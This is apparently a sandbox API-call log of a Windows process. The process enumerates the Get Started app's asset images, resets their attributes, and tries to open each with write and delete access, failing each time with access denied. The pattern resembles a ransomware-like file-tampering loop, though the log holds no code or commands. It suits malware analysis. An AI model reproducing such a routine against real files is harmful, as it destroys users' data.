	[0090.782] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedLargeTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcee0) returned 1
	[0090.782] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedMedTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.782] wcscmp (_String1="GetStartedMedTile.scale-200.png", _String2=".") returned 1
	[0090.782] wcscmp (_String1="GetStartedMedTile.scale-200.png", _String2="..") returned 1
	[0090.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2d5af20
	[0090.782] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.782] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.782] wcscat (in: _Dest=0x2d5af20, _Source="GetStartedMedTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png"
	[0090.782] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200.png")) returned 0x20
	[0090.783] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.783] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.783] GetLastError () returned 0x5
	[0090.783] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.784] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe7b04f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe7b04f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe7b04f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedMedTile.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.784] wcscmp (_String1="GetStartedMedTile.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.784] wcscmp (_String1="GetStartedMedTile.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc8c8
	[0090.784] wcscpy (in: _Dest=0x4ebc8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.784] wcscat (in: _Dest=0x4ebc8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.784] wcscat (in: _Dest=0x4ebc8c8, _Source="GetStartedMedTile.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png"
	[0090.784] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-black.png")) returned 0x20
	[0090.784] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.784] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.784] GetLastError () returned 0x5
	[0090.784] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.784] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0090.784] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fea12a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fea6684, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fea6684, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x801, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedMedTile.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.784] wcscmp (_String1="GetStartedMedTile.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.784] wcscmp (_String1="GetStartedMedTile.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc2b0
	[0090.784] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.784] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.784] wcscat (in: _Dest=0x4ebc2b0, _Source="GetStartedMedTile.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png"
	[0090.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-white.png")) returned 0x20
	[0090.785] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.785] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedmedtile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.785] GetLastError () returned 0x5
	[0090.785] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedMedTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.785] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.785] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fea80f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7feaa819, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7feaa819, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSmallTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.785] wcscmp (_String1="GetStartedSmallTile.scale-200.png", _String2=".") returned 1
	[0090.785] wcscmp (_String1="GetStartedSmallTile.scale-200.png", _String2="..") returned 1
	[0090.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771740
	[0090.785] wcscpy (in: _Dest=0x4771740, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.785] wcscat (in: _Dest=0x4771740, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.785] wcscat (in: _Dest=0x4771740, _Source="GetStartedSmallTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png"
	[0090.785] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200.png")) returned 0x20
	[0090.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.786] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.786] GetLastError () returned 0x5
	[0090.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0090.786] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feab8fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7feab8fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7feab8fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSmallTile.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.786] wcscmp (_String1="GetStartedSmallTile.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.786] wcscmp (_String1="GetStartedSmallTile.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc790
	[0090.786] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.786] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.786] wcscat (in: _Dest=0x4ebc790, _Source="GetStartedSmallTile.scale-200_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png"
	[0090.787] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-black.png")) returned 0x20
	[0090.787] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.787] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.787] GetLastError () returned 0x5
	[0090.787] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.787] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0090.787] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feab8fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7feab8fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7feab8fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSmallTile.scale-200_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.787] wcscmp (_String1="GetStartedSmallTile.scale-200_contrast-white.png", _String2=".") returned 1
	[0090.787] wcscmp (_String1="GetStartedSmallTile.scale-200_contrast-white.png", _String2="..") returned 1
	[0090.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc178
	[0090.787] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.787] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.787] wcscat (in: _Dest=0x4ebc178, _Source="GetStartedSmallTile.scale-200_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png"
	[0090.787] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-white.png")) returned 0x20
	[0090.788] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.788] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.788] GetLastError () returned 0x5
	[0090.788] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-200_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.788] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feab8fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7feab8fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7feab8fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSplash.scale-200.png", cAlternateFileName="")) returned 1
	[0090.788] wcscmp (_String1="GetStartedSplash.scale-200.png", _String2=".") returned 1
	[0090.788] wcscmp (_String1="GetStartedSplash.scale-200.png", _String2="..") returned 1
	[0090.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2d5af20
	[0090.788] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.788] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.788] wcscat (in: _Dest=0x2d5af20, _Source="GetStartedSplash.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png"
	[0090.789] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200.png")) returned 0x20
	[0090.790] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.790] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedsplash.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.790] GetLastError () returned 0x5
	[0090.790] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.791] FindNextFileW (in: hFindFile=0x46a6c10, lpFindFileData=0x47135b0 | out: lpFindFileData=0x47135b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feab8fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7feab8fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7feab8fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetStartedSplash.scale-200_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.791] wcscmp (_String1="GetStartedSplash.scale-200_contrast-black.png", _String2=".") returned 1
	[0090.791] wcscmp (_String1="GetStartedSplash.scale-200_contrast-black.png", _String2="..") returned 1
	[0090.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc178
	[0090.791] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
